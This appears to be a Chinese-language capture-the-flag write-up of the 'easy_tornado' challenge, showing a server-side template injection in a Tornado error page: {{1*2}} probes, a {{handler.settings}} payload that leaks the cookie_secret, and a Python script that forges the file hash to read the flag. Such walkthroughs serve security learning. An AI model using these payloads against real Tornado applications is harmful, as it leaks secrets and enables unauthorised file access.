[护网杯 2018]easy_tornado

访问/welcome.txt,发现render关键字

 

render是一个渲染函数,实质就是生成template模板,也就是说可能存在ssti模板注入漏洞

 

有关于render函数可以参考如下文章:

https://blog.csdn.net/qq78827534/article/details/80792514

ssti模板注入可以参考文章:

https://blog.csdn.net/zz_Caleb/article/details/96480967

 

访问/flag.txt

告诉我们flag位于系统的根目录

 

访问/hint.txt

URL中的filehash参数的值为md5(cookie_secret+md5(filename)),但是不知道cookie_secret的值

 

尝试将filehash参数去掉,返回如下URL和页面

http://xxx/error?msg=Error

尝试修改msg参数后面的值

http://xxx/error?msg={{1}}
http://xxx/error?msg={{1*2}}

页面返回1和2,说明存在模板注入

 

 

 

通过百度搜索到tornado框架的附属文件handler.settings中存在cookie_secret

http://194979a3-ac38-40d7-8b6a-754922a65551.node3.buuoj.cn/error?msg={{handler.settings}}

根据获得的cookie_secret构造md5(cookie_secret+md5(filename)),py脚本如下

import hashlib

hash = hashlib.md5()

filename = "/fllllllllllllag"
cookie_secret = "613f58db-fcb6-4add-b506-99d2c1568fd8"
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret + s1).encode('utf-8'))
print(hash.hexdigest())

构造好filehash参数后,访问URL便可获得flag

http://cd3a1a0f-57fb-4f4a-8cd8-eb50fdad27fa.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=82da5e926c23c795874f504460f8d039

 

posted @ 2020-06-23 16:40  GTX690M  阅读(443)  评论(0编辑  收藏  举报